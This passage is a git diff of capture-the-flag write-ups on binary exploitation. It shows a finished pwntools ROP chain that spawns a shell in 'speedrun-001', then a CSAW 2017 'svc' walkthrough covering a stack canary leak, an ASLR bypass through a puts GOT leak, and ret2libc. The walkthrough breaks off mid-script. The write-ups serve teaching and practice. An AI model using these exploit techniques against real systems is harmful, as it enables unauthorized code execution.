|
||||
And we have our syscall gadget at 0x40129c. With all of the above, we can finally construct our ROP chain, so we will overwrite the return address with the first gadget of the rop chain, and when it returns it will keep on going down the chain until we get our shell. To move the values into registers, we store the values on the stack inside the ROP chain, and they will be popped off into registers. So we end up with the following exploit:
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
target = process('./speedrun-001')
|
||||
|
||||
# Establish our ROP Gadgets
|
||||
popRax = p64(0x415664)
|
||||
popRdi = p64(0x400686)
|
||||
popRsi = p64(0x4101f3)
|
||||
popRdx = p64(0x4498b5)
|
||||
|
||||
# 0x000000000048d251 : mov qword ptr [rax], rdx ; ret
|
||||
writeGadget = p64(0x48d251)
|
||||
|
||||
# Our syscall gadget
|
||||
syscall = p64(0x40129c)
|
||||
|
||||
'''
|
||||
Here is the assembly equivalent for these blocks
|
||||
write "/bin/sh" to 0x6b6000
|
||||
|
||||
pop rdx, 0x2f62696e2f736800
|
||||
pop rax, 0x6b6000
|
||||
mov qword ptr [rax], rdx
|
||||
'''
|
||||
rop = b""
|
||||
rop += popRdx
|
||||
rop += b"/bin/sh\x00" # The string "/bin/sh" in hex with a null byte at the end
|
||||
rop += popRax
|
||||
rop += p64(0x6b6000)
|
||||
rop += writeGadget
|
||||
|
||||
'''
|
||||
Prepare the four registers with their arguments, and make the syscall
|
||||
|
||||
pop rax, 0x3b
|
||||
pop rdi, 0x6b6000
|
||||
pop rsi, 0x0
|
||||
pop rdx, 0x0
|
||||
|
||||
syscall
|
||||
'''
|
||||
|
||||
rop += popRax
|
||||
rop += p64(0x3b)
|
||||
|
||||
rop += popRdi
|
||||
rop += p64(0x6b6000)
|
||||
|
||||
rop += popRsi
|
||||
rop += p64(0)
|
||||
rop += popRdx
|
||||
rop += p64(0)
|
||||
|
||||
rop += syscall
|
||||
|
||||
|
||||
# Add the padding to the saved return address
|
||||
payload = b"\x00"*0x408 + rop
|
||||
|
||||
print(hexdump(payload))
|
||||
|
||||
|
||||
|
||||
Let's run the exploit to see the hexdump of our payload:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './speedrun-001': pid 2115567
|
||||
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
|
||||
*
|
||||
00000400 00 00 00 00 00 00 00 00 b5 98 44 00 00 00 00 00 │····│····│··D·│····│
|
||||
00000410 2f 62 69 6e 2f 73 68 00 64 56 41 00 00 00 00 00 │/bin│/sh·│dVA·│····│
|
||||
00000420 00 60 6b 00 00 00 00 00 51 d2 48 00 00 00 00 00 │·`k·│····│Q·H·│····│
|
||||
00000430 64 56 41 00 00 00 00 00 3b 00 00 00 00 00 00 00 │dVA·│····│;···│····│
|
||||
00000440 86 06 40 00 00 00 00 00 00 60 6b 00 00 00 00 00 │··@·│····│·`k·│····│
|
||||
00000450 f3 01 41 00 00 00 00 00 00 00 00 00 00 00 00 00 │··A·│····│····│····│
|
||||
00000460 b5 98 44 00 00 00 00 00 00 00 00 00 00 00 00 00 │··D·│····│····│····│
|
||||
00000470 9c 12 40 00 00 00 00 00 │··@·│····│
|
||||
00000478
|
||||
|
||||
|
||||
|
||||
Now that we see our payload is correct, we send it to the binary file with the following 2 lines:
|
||||
|
||||
|
||||
target.sendline(payload)
|
||||
target.interactive()
|
||||
|
||||
|
||||
|
||||
Now let's run the exploit to see if everything works as intended:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/speed]
|
||||
→ python3 exploit.py
|
||||
[+] Starting local process './speedrun-001': pid 2146710
|
||||
00000000 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 │····│····│····│····│
|
||||
*
|
||||
00000400 00 00 00 00 00 00 00 00 b5 98 44 00 00 00 00 00 │····│····│··D·│····│
|
||||
00000410 2f 62 69 6e 2f 73 68 00 64 56 41 00 00 00 00 00 │/bin│/sh·│dVA·│····│
|
||||
00000420 00 60 6b 00 00 00 00 00 51 d2 48 00 00 00 00 00 │·`k·│····│Q·H·│····│
|
||||
00000430 64 56 41 00 00 00 00 00 3b 00 00 00 00 00 00 00 │dVA·│····│;···│····│
|
||||
00000440 86 06 40 00 00 00 00 00 00 60 6b 00 00 00 00 00 │··@·│····│·`k·│····│
|
||||
00000450 f3 01 41 00 00 00 00 00 00 00 00 00 00 00 00 00 │··A·│····│····│····│
|
||||
00000460 b5 98 44 00 00 00 00 00 00 00 00 00 00 00 00 00 │··D·│····│····│····│
|
||||
00000470 9c 12 40 00 00 00 00 00 │··@·│····│
|
||||
00000478
|
||||
[*] Switching to interactive mode
|
||||
Hello brave new challenger
|
||||
Any last words?
|
||||
This will be the last thing that you say:
|
||||
$ cat flag.txt
|
||||
flag{g0ttem_b0yz}
|
||||
$ id
|
||||
uid=1000(nothing) gid=1000(nothing) groups=1000(nothing),90(network),98(power),972(libvirt),988(storage),990(optical),995(audio),998(wheel)
|
||||
$
|
||||
|
||||
|
||||
|
||||
And that's it! We have been able to spawn a shell and print out the flag!
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Title
|
||||
|
||||
text
|
||||
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
604
2/svc.md
Normal file
|
@ -0,0 +1,604 @@
|
|||
# Csaw 2017 SVC
|
||||
|
||||
## Downloading the binary file
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/svc
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/core
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ wget -q https://github.com/guyinatuxedo/nightmare/raw/master/modules/08-bof_dynamic/csawquals17_svc/libc-2.23.so
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ chmod +x svc ; ls -lash
|
||||
total 7.6M
|
||||
4.0K drwxr-xr-x 2 nothing nothing 4.0K Mar 6 16:16 .
|
||||
4.0K drwxr-xr-x 11 nothing nothing 4.0K Mar 6 16:14 ..
|
||||
5.8M -rw-r--r-- 1 nothing nothing 5.8M Mar 6 16:16 core
|
||||
1.8M -rw-r--r-- 1 nothing nothing 1.8M Mar 6 16:16 libc-2.23.so
|
||||
12K -rwxr-xr-x 1 nothing nothing 11K Mar 6 16:16 svc
|
||||
|
||||
|
||||
|
||||
` ![]()
|
||||
|
||||
## Solution
|
||||
|
||||
Now let's check out what the binary does when we execute it after using pwn checksec on it:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ pwn checksec svc
|
||||
[*] '/home/nothing/binexp/2/svc/svc'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ ./svc
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>1
|
||||
|
||||
|
||||
So we see that this is a 64bit dynamically linked binary, it has a stack canary and a non executable stack (NX). Basically, the binary asks us if we want to 1) feed the csv with some text input, 2) review what we just put in, or 3 to quit.
|
||||
|
||||
|
||||
-------------------------
|
||||
[*]SCV IS ALWAYS HUNGRY.....
|
||||
-------------------------
|
||||
[*]GIVE HIM SOME FOOD.......
|
||||
-------------------------
|
||||
>>foodfoodfood
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>2
|
||||
-------------------------
|
||||
[*]REVIEW THE FOOD...........
|
||||
-------------------------
|
||||
[*]PLEASE TREAT HIM WELL.....
|
||||
-------------------------
|
||||
foodfoodfood
|
||||
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>1
|
||||
|
||||
|
||||
|
||||
-------------------------
|
||||
[*]SCV IS ALWAYS HUNGRY.....
|
||||
-------------------------
|
||||
[*]GIVE HIM SOME FOOD.......
|
||||
-------------------------
|
||||
>>feedfeedfeed
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>2
|
||||
-------------------------
|
||||
[*]REVIEW THE FOOD...........
|
||||
-------------------------
|
||||
[*]PLEASE TREAT HIM WELL.....
|
||||
-------------------------
|
||||
feedfeedfeed
|
||||
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>3
|
||||
[*]BYE ~ TIME TO MINE MIENRALS...
|
||||
|
||||
|
||||
|
||||
Now that we see how the binary works approximately, let's check it out inside of ghidra:
|
||||
|
||||

|
||||
|
||||
Since the main function of the binary is not called 'main' we just search (CTRL+SHIFT+E) in ghidra for one of the keywords that the binary previously gave us like the 'FEED' word and thus we find that the main function is FUN_00400a96, and is quite gigantic so we're going to only focus on the parts we need:
|
||||
|
||||
|
||||
undefined8 FUN_00400a96(void)
|
||||
|
||||
{
|
||||
while (local_c0 != 0) {
|
||||
pbVar1 = std::operator<<((basic_ostream *)std::cout,"-------------------------");
|
||||
|
||||
[...]
|
||||
|
||||
std::operator<<((basic_ostream *)std::cout,">>");
|
||||
std::basic_istream>::operator>>
|
||||
((basic_istream> *)std::cin,&local;_c4);
|
||||
|
||||
if (local_c4 == 2) {
|
||||
}
|
||||
|
||||
if (local_c4 == 2) {
|
||||
pbVar1 = std::operator<<((basic_ostream *)std::cout,"-------------------------");
|
||||
std::basic_ostream>::operator<<
|
||||
}
|
||||
|
||||
if (local_c4 == 3) {
|
||||
|
||||
}
|
||||
|
||||
[...]
|
||||
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
|
||||
|
||||
|
||||
First of all we see that we enter a while loop, and for each iteration of the loop it prompts us for a menu option in local_c4. for the option to scan in data (option 1) we see the following:
|
||||
|
||||
|
||||
if (local_c4 == 1) {
|
||||
|
||||
[...]
|
||||
|
||||
sVar2 = read(0,local_b8,0xf8);
|
||||
local_bc = (undefined4)sVar2;
|
||||
}
|
||||
else {
|
||||
pbVar1 = std::operator<<((basic_ostream *)std::cout,"[*]DO NOT HURT MY SCV....");
|
||||
std::basic_ostream>::operator<<
|
||||
((basic_ostream> *)pbVar1,
|
||||
std::endl>);
|
||||
}
|
||||
|
||||
|
||||
we see that it uses the read() function to scan in **0xf8** bytes of data into the input variable called **local_b8** Now let's set our breakpoint right after the read() call at 0x400cd3:
|
||||
|
||||

|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ gdb ./svc
|
||||
GNU gdb (GDB) 10.1
|
||||
Copyright (C) 2020 Free Software Foundation, Inc.
|
||||
License GPLv3+: GNU GPL version 3 or later
|
||||
This is free software: you are free to change and redistribute it.
|
||||
There is NO WARRANTY, to the extent permitted by law.
|
||||
Type "show copying" and "show warranty" for details.
|
||||
This GDB was configured as "x86_64-pc-linux-gnu".
|
||||
Type "show configuration" for configuration details.
|
||||
For bug reporting instructions, please see:
|
||||
.
|
||||
Find the GDB manual and other documentation resources online at:
|
||||
.
|
||||
|
||||
For help, type "help".
|
||||
Type "apropos word" to search for commands related to "word"...
|
||||
GEF for linux ready, type `gef' to start, `gef config' to configure
|
||||
92 commands loaded for GDB 10.1 using Python engine 3.9
|
||||
Reading symbols from ./svc...
|
||||
(No debugging symbols found in ./svc)
|
||||
gef➤ b *0x400cd3
|
||||
Breakpoint 1 at 0x400cd3
|
||||
gef➤ r
|
||||
Starting program: /home/nothing/binexp/2/svc/svc
|
||||
-------------------------
|
||||
[*]SCV GOOD TO GO,SIR....
|
||||
-------------------------
|
||||
1.FEED SCV....
|
||||
2.REVIEW THE FOOD....
|
||||
3.MINE MINERALS....
|
||||
-------------------------
|
||||
>>1
|
||||
-------------------------
|
||||
[*]SCV IS ALWAYS HUNGRY.....
|
||||
-------------------------
|
||||
[*]GIVE HIM SOME FOOD.......
|
||||
-------------------------
|
||||
>>13371337
|
||||
|
||||
Breakpoint 1, 0x0000000000400cd3 in ?? ()
|
||||
[ Legend: Modified register | Code | Heap | Stack | String ]
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
|
||||
$rax : 0x9
|
||||
$rbx : 0x0000000000400e40 → push r15
|
||||
$rcx : 0x00007ffff7ce0052 → 0x5677fffff0003d48 ("H="?)
|
||||
$rdx : 0xf8
|
||||
$rsp : 0x00007fffffffde80 → 0x00000001f7f96ee0
|
||||
$rbp : 0x00007fffffffdf40 → 0x0000000000000000
|
||||
$rsi : 0x00007fffffffde90 → "13371337\n\t@"
|
||||
$rdi : 0x0
|
||||
$rip : 0x0000000000400cd3 → mov DWORD PTR [rbp-0xb4], eax
|
||||
$r8 : 0x2
|
||||
$r9 : 0x0000000000602000 → 0x0000000000601e18 → 0x0000000000000001
|
||||
$r10 : 0xfffffffffffffb88
|
||||
$r11 : 0x246
|
||||
$r12 : 0x00000000004009a0 → xor ebp, ebp
|
||||
$r13 : 0x0
|
||||
$r14 : 0x0
|
||||
$r15 : 0x0
|
||||
$eflags: [zero CARRY PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
|
||||
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
|
||||
0x00007fffffffde80│+0x0000: 0x00000001f7f96ee0 ← $rsp
|
||||
0x00007fffffffde88│+0x0008: 0x0000000000000001
|
||||
0x00007fffffffde90│+0x0010: "13371337\n\t@" ← $rsi
|
||||
0x00007fffffffde98│+0x0018: 0x000000000040090a → add cl, ch
|
||||
0x00007fffffffdea0│+0x0020: 0x0000000000602080 → 0x0000000000000000
|
||||
0x00007fffffffdea8│+0x0028: 0x00007ffff7c2fac6 → <__internal_atexit+70> test rax, rax
|
||||
0x00007fffffffdeb0│+0x0030: 0x0000000000000001
|
||||
0x00007fffffffdeb8│+0x0038: 0x00007fffffffdef0 → 0x00007fffffffdf00 → 0x0000000000000002
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
|
||||
0x400cc6 mov rsi, rax
|
||||
0x400cc9 mov edi, 0x0
|
||||
0x400cce call 0x400900
|
||||
●→ 0x400cd3 mov DWORD PTR [rbp-0xb4], eax
|
||||
0x400cd9 jmp 0x400dc0
|
||||
0x400cde mov esi, 0x400ec8
|
||||
0x400ce3 mov edi, 0x6021e0
|
||||
0x400ce8 call 0x400940 <_ZStlsISt11char_traitsIcEERSt13basic_ostreamIcT_ES5_PKc@plt>
|
||||
0x400ced mov esi, 0x400980
|
||||
────────────────────────────────────────────────────────────────────────────────────────────────────────────────── threads ────
|
||||
[#0] Id 1, Name: "svc", stopped 0x400cd3 in ?? (), reason: BREAKPOINT
|
||||
──────────────────────────────────────────────────────────────────────────────────────────────────────────────────── trace ────
|
||||
[#0] 0x400cd3 → mov DWORD PTR [rbp-0xb4], eax
|
||||
[#1] 0x7ffff7c17b25 → __libc_start_main()
|
||||
[#2] 0x4009c9 → hlt
|
||||
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
|
||||
gef➤
|
||||
|
||||
|
||||
|
||||
So what we did here is basically to set the breakpoint right after the read() call, then we ran the binary, selected 1 to feed in our data, and gave in the pattern '13371337' Now from here let's find it by using search-pattern:
|
||||
|
||||
|
||||
gef➤ search-pattern 13371337
|
||||
[+] Searching '13371337' in memory
|
||||
[+] In '[stack]'(0x7ffffffde000-0x7ffffffff000), permission=rw-
|
||||
0x7fffffffde90 - 0x7fffffffde9d → "13371337\n\t@"
|
||||
|
||||
gef➤ info frame
|
||||
Stack level 0, frame at 0x7fffffffdf50:
|
||||
rip = 0x400cd3; saved rip = 0x7ffff7c17b25
|
||||
called by frame at 0x7fffffffe020
|
||||
Arglist at 0x7fffffffde78, args:
|
||||
Locals at 0x7fffffffde78, Previous frame's sp is 0x7fffffffdf50
|
||||
Saved registers:
|
||||
rbp at 0x7fffffffdf40, rip at 0x7fffffffdf48
|
||||
|
||||
|
||||
|
||||
Now here we see the memory address of our input at **0x7fffffffde90** and the memory address of the return address at **0x7fffffffdf48** and we calculate the offset as usual:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [blog/binexp/2]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex( 0x7fffffffde90 - 0x7fffffffdf48 )
|
||||
'-0xb8'
|
||||
|
||||
|
||||
|
||||
Now we know that there is a 0xb8 offset between our input text and the return address
|
||||
|
||||
So let's summarize everything we got so far:
|
||||
|
||||
We have a buffer overflow bug that we can use because of a gets() call and we can get to the return address with it. However the first mitigation we will need to overcome is the stack canary. The stack canary is an eight byte random integer (we saw that it was 4 bytes for x86 systems in the previous challenge [feed](feed.html))
|
||||
|
||||
However, before the return address is executed, it checks to see if the stack canary has the same value. If it doesn't the program will end. To bypass this, we need to leak the stack canary. That way we can just overwrite the stack canary with itself, so it will pass the stack cnary to check and execute the return address, which we will overwrite with our buffer overflow
|
||||
|
||||
We will leak the stack canary thanks to the following **puts()** call that is being used in the second option:
|
||||
|
||||
|
||||
if (local_c4 == 2) {
|
||||
|
||||
[...]
|
||||
|
||||
puts(local_b8);
|
||||
}
|
||||
|
||||
|
||||
it is going to print data that it is given by a pointer until it reaches a null byte. With stack canaries the least significant byte is a null byte. SO we will just send enough data to just overflow the LSB of the stack canary, and then print our input. This will print all of our data and the highest seven eight bytes of the stack canary, and since the lowest byte will always be a nullbyte, we know the full stack canary. With this we can just execute the buffer overflow again and write over the stack canary itself in order to defeat this mitigation.
|
||||
|
||||
To leak the stack canary we will need to send **0xa9** bytes of data, the first **0xa8** will be to fill up the input char array, and the last byte will be to overwrite the LSB of the stack canary. So let's take a look at the memory in more detail since we know that our input starts at **0x7fffffffde90** :
|
||||
|
||||
|
||||
gef➤ x/24g 0x7fffffffde90
|
||||
0x7fffffffde90: 0x3733333137333331 0x40090a
|
||||
0x7fffffffdea0: 0x602080 0x7ffff7c2fac6
|
||||
0x7fffffffdeb0: 0x1 0x7fffffffdef0
|
||||
0x7fffffffdec0: 0x601df8 0x7fffffffe048
|
||||
0x7fffffffded0: 0x7fffffffe038 0x400e1b
|
||||
0x7fffffffdee0: 0x11bf 0x10000ffff
|
||||
0x7fffffffdef0: 0x7fffffffdf00 0x400e31
|
||||
0x7fffffffdf00: 0x2 0x400e8d
|
||||
0x7fffffffdf10: 0x0 0x400e40
|
||||
0x7fffffffdf20: 0x0 0x4009a0
|
||||
0x7fffffffdf30: 0x7fffffffe030 0x6a77910e1ec4300
|
||||
0x7fffffffdf40: 0x0 0x7ffff7c17b25
|
||||
|
||||
|
||||
|
||||
Here we see that our payload begins at 0x7fffffffde90 since there are only 1s 3s and 7s, although i'm not sure as to what it has been formatted to, we see that **0xa8** bytes down the stack the stack canary **0x6a77910e1ec4300** at **0x7fffffffdf38**
|
||||
|
||||
The next step is to defeat the ASLR. ASLR is a mitigation that randomizes the addresses sections of memory. This way when we run the program, we don't actually know where various things in memory are. While the addresses are randomized, the spacing between things are not. For instance the libc (where all the standard functions lik eputs, printf, fgets are stored most of the time) the address of **puts** and **system** will be different everytime we run the program. However the offset between them will remain the same. SO if we leak the address of **puts** we will also leak the address of **system** if we know the offset between the 2. This will allow us to break ASLR in the region where we know one memory and the offset to the next. So let's take a look at the vmmap inside of gdb while we run the binary:
|
||||
|
||||
|
||||
gef➤ vmmap
|
||||
[ Legend: Code | Heap | Stack ]
|
||||
Start End Offset Perm Path
|
||||
0x0000000000400000 0x0000000000402000 0x0000000000000000 r-x /home/nothing/binexp/2/svc/svc
|
||||
0x0000000000601000 0x0000000000602000 0x0000000000001000 r-- /home/nothing/binexp/2/svc/svc
|
||||
0x0000000000602000 0x0000000000603000 0x0000000000002000 rw- /home/nothing/binexp/2/svc/svc
|
||||
0x0000000000603000 0x0000000000624000 0x0000000000000000 rw- [heap]
|
||||
0x00007ffff7a8d000 0x00007ffff7a91000 0x0000000000000000 rw-
|
||||
0x00007ffff7a91000 0x00007ffff7a94000 0x0000000000000000 r-- /usr/lib/libgcc_s.so.1
|
||||
0x00007ffff7a94000 0x00007ffff7aa5000 0x0000000000003000 r-x /usr/lib/libgcc_s.so.1
|
||||
0x00007ffff7aa5000 0x00007ffff7aa9000 0x0000000000014000 r-- /usr/lib/libgcc_s.so.1
|
||||
0x00007ffff7aa9000 0x00007ffff7aaa000 0x0000000000017000 r-- /usr/lib/libgcc_s.so.1
|
||||
0x00007ffff7aaa000 0x00007ffff7aab000 0x0000000000018000 rw- /usr/lib/libgcc_s.so.1
|
||||
0x00007ffff7aab000 0x00007ffff7aba000 0x0000000000000000 r-- /usr/lib/libm-2.33.so
|
||||
0x00007ffff7aba000 0x00007ffff7b55000 0x000000000000f000 r-x /usr/lib/libm-2.33.so
|
||||
0x00007ffff7b55000 0x00007ffff7bed000 0x00000000000aa000 r-- /usr/lib/libm-2.33.so
|
||||
0x00007ffff7bed000 0x00007ffff7bee000 0x0000000000142000 --- /usr/lib/libm-2.33.so
|
||||
0x00007ffff7bee000 0x00007ffff7bef000 0x0000000000142000 r-- /usr/lib/libm-2.33.so
|
||||
|
||||
0x00007ffff7bef000 0x00007ffff7bf0000 0x0000000000143000 rw- /usr/lib/libm-2.33.so
|
||||
0x00007ffff7bf0000 0x00007ffff7c16000 0x0000000000000000 r-- /usr/lib/libc-2.33.so
|
||||
0x00007ffff7c16000 0x00007ffff7d62000 0x0000000000026000 r-x /usr/lib/libc-2.33.so
|
||||
0x00007ffff7d62000 0x00007ffff7dae000 0x0000000000172000 r-- /usr/lib/libc-2.33.so
|
||||
0x00007ffff7dae000 0x00007ffff7db1000 0x00000000001bd000 r-- /usr/lib/libc-2.33.so
|
||||
0x00007ffff7db1000 0x00007ffff7db4000 0x00000000001c0000 rw- /usr/lib/libc-2.33.so
|
||||
0x00007ffff7db4000 0x00007ffff7dbd000 0x0000000000000000 rw-
|
||||
|
||||
0x00007ffff7dbd000 0x00007ffff7e53000 0x0000000000000000 r-- /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7e53000 0x00007ffff7f3f000 0x0000000000096000 r-x /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7f3f000 0x00007ffff7f88000 0x0000000000182000 r-- /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7f88000 0x00007ffff7f89000 0x00000000001cb000 --- /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7f89000 0x00007ffff7f96000 0x00000000001cb000 r-- /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7f96000 0x00007ffff7f97000 0x00000000001d8000 rw- /usr/lib/libstdc++.so.6.0.28
|
||||
0x00007ffff7f97000 0x00007ffff7f9c000 0x0000000000000000 rw-
|
||||
0x00007ffff7fc6000 0x00007ffff7fca000 0x0000000000000000 r-- [vvar]
|
||||
0x00007ffff7fca000 0x00007ffff7fcc000 0x0000000000000000 r-x [vdso]
|
||||
0x00007ffff7fcc000 0x00007ffff7fcd000 0x0000000000000000 r-- /usr/lib/ld-2.33.so
|
||||
0x00007ffff7fcd000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/ld-2.33.so
|
||||
0x00007ffff7ff1000 0x00007ffff7ffa000 0x0000000000025000 r-- /usr/lib/ld-2.33.so
|
||||
0x00007ffff7ffb000 0x00007ffff7ffd000 0x000000000002e000 r-- /usr/lib/ld-2.33.so
|
||||
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000030000 rw- /usr/lib/ld-2.33.so
|
||||
0x00007ffffffde000 0x00007ffffffff000 0x0000000000000000 rw- [stack]
|
||||
0xffffffffff600000 0xffffffffff601000 0x0000000000000000 --x [vsyscall]
|
||||
|
||||
|
||||
|
||||
Here we want to break ASLR in the **libc-2.23.so** region where we have read and write permissions, therefore at **00007ffff7bf0000**.
|
||||
|
||||
To do the puts function infoleak, we will need 3 things. The plt address of **puts** (address of the imported function which we will use to call it), the address of the got entry of **puts** which holds the libc address, and a **rop gadget** to pop the got entry into the rdi register, and then return.
|
||||
|
||||
Since the puts call expects it's input (a single char pointer) in the rdi register, that is where we need to place it. To find the **plt** and **got** addresses, we can use pwntools:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/svc]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> from pwn import *
|
||||
>>> elf = ELF('svc')
|
||||
[*] '/home/nothing/binexp/2/svc/svc'
|
||||
Arch: amd64-64-little
|
||||
RELRO: Partial RELRO
|
||||
Stack: Canary found
|
||||
NX: NX enabled
|
||||
PIE: No PIE (0x400000)
|
||||
>>> print("plt addr:" + hex(elf.symbols['puts']))
|
||||
plt addr:0x4008d0
|
||||
>>> print("got addr:" + hex(elf.got['puts']))
|
||||
got addr:0x602018
|
||||
|
||||
|
||||
|
||||
To find the gadget we need, let's use [ROPGadget](https://github.com/JonathanSalwan/ROPgadget) like we used in the previous challenges already
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/1 ] [binexp/2/svc]
|
||||
→ ROPgadget --binary svc| grep "pop rdi"
|
||||
0x0000000000400ea3 : pop rdi ; ret
|
||||
|
||||
|
||||
|
||||
The last mitigation we will overcome is the NX (Non executable stack), this means that the stack does not have the execute permission. SO we cannot execute code on the stack. Our method to bypass this will have to be a mix of a ROP chain, and a ret2libc (return to libc) attack. ROP is when we take bits of code that already are in the binary and make them work together in the manner that we want.
|
||||
|
||||
What we need here is to use ROP Gadgets, which are essentially pointers to the bits of code that end in a **ret** instruction which will make it move to the next gadget. Since these are all valid instruction pointers to code that should run, it will be markeed as executable regardless of the NX.
|
||||
|
||||
|
||||
gef➤ p puts
|
||||
$1 = {<****text variable, no debug info>} 0x7ffff7c66cd0
|
||||
gef➤ p system
|
||||
$2 = {<****text variable, no debug info>} 0x7ffff7c3a120
|
||||
gef➤ search-pattern /bin/sh
|
||||
[+] Searching '/bin/sh' in memory
|
||||
[+] In '/usr/lib/libc-2.33.so'(0x7ffff7d62000-0x7ffff7dae000), permission=r--
|
||||
0x7ffff7d7c966 - 0x7ffff7d7c96d → "/bin/sh"
|
||||
|
||||
|
||||
|
||||
We calculate the offsets:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/9 ] [blog/binexp/2]
|
||||
→ python3
|
||||
Python 3.9.2 (default, Feb 20 2021, 18:40:11)
|
||||
[GCC 10.2.0] on linux
|
||||
Type "help", "copyright", "credits" or "license" for more information.
|
||||
>>> hex( 0x7ffff7c66cd0 - 0x00007ffff7d62000 )
|
||||
'-0xfb330'
|
||||
>>> hex( 0x7ffff7c3a120 - 0x00007ffff7d62000 )
|
||||
'-0x127ee0'
|
||||
>>> hex( 0x7ffff7d7c966 - 0x00007ffff7d62000 )
|
||||
'0x1a966'
|
||||
|
||||
|
||||
|
||||
and with this we can create the exploit:
|
||||
|
||||
|
||||
[ 192.168.0.18/24 ] [ /dev/pts/2 ] [binexp/2/svc]
|
||||
→ vim exploit.py
|
||||
|
||||
|
||||
|
||||
|
||||
from pwn import *
|
||||
|
||||
target = process("./svc")
|
||||
gdb.attach(target)
|
||||
|
||||
elf = ELF('svc')
|
||||
|
||||
|
||||
# 0x0000000000400ea3 : pop rdi ; ret
|
||||
popRdi = p64(0x400ea3)
|
||||
|
||||
gotPuts = p64(0x602018)
|
||||
pltPuts = p64(0x4008cc)
|
||||
|
||||
offsetPuts = 0xfb330
|
||||
offsetSystem = 0x127ee0
|
||||
offsetBinsh = 0x1a966
|
||||
|
||||
startMain = p64(0x400a96)
|
||||
|
||||
# Establish fucntions to handle I/O with the target
|
||||
def feed(data):
|
||||
print(target.recvuntil(">>"))
|
||||
target.sendline(b'1')
|
||||
print(target.recvuntil(">>"))
|
||||
target.send(data)
|
||||
|
||||
def review():
|
||||
print(target.recvuntil(">>"))
|
||||
target.sendline(b'2')
|
||||
#print target.recvuntil("[*]PLEASE TREAT HIM WELL.....\n-------------------------\n")
|
||||
#leak = target.recvuntil("-------------------------").replace("-------------------------", "")
|
||||
print(target.recvuntil(b"0"*0xa9))
|
||||
canaryLeak = target.recv(7)
|
||||
canary = u64(b"\x00" + canaryLeak)
|
||||
print("canary is: " + hex(canary))
|
||||
return canary
|
||||
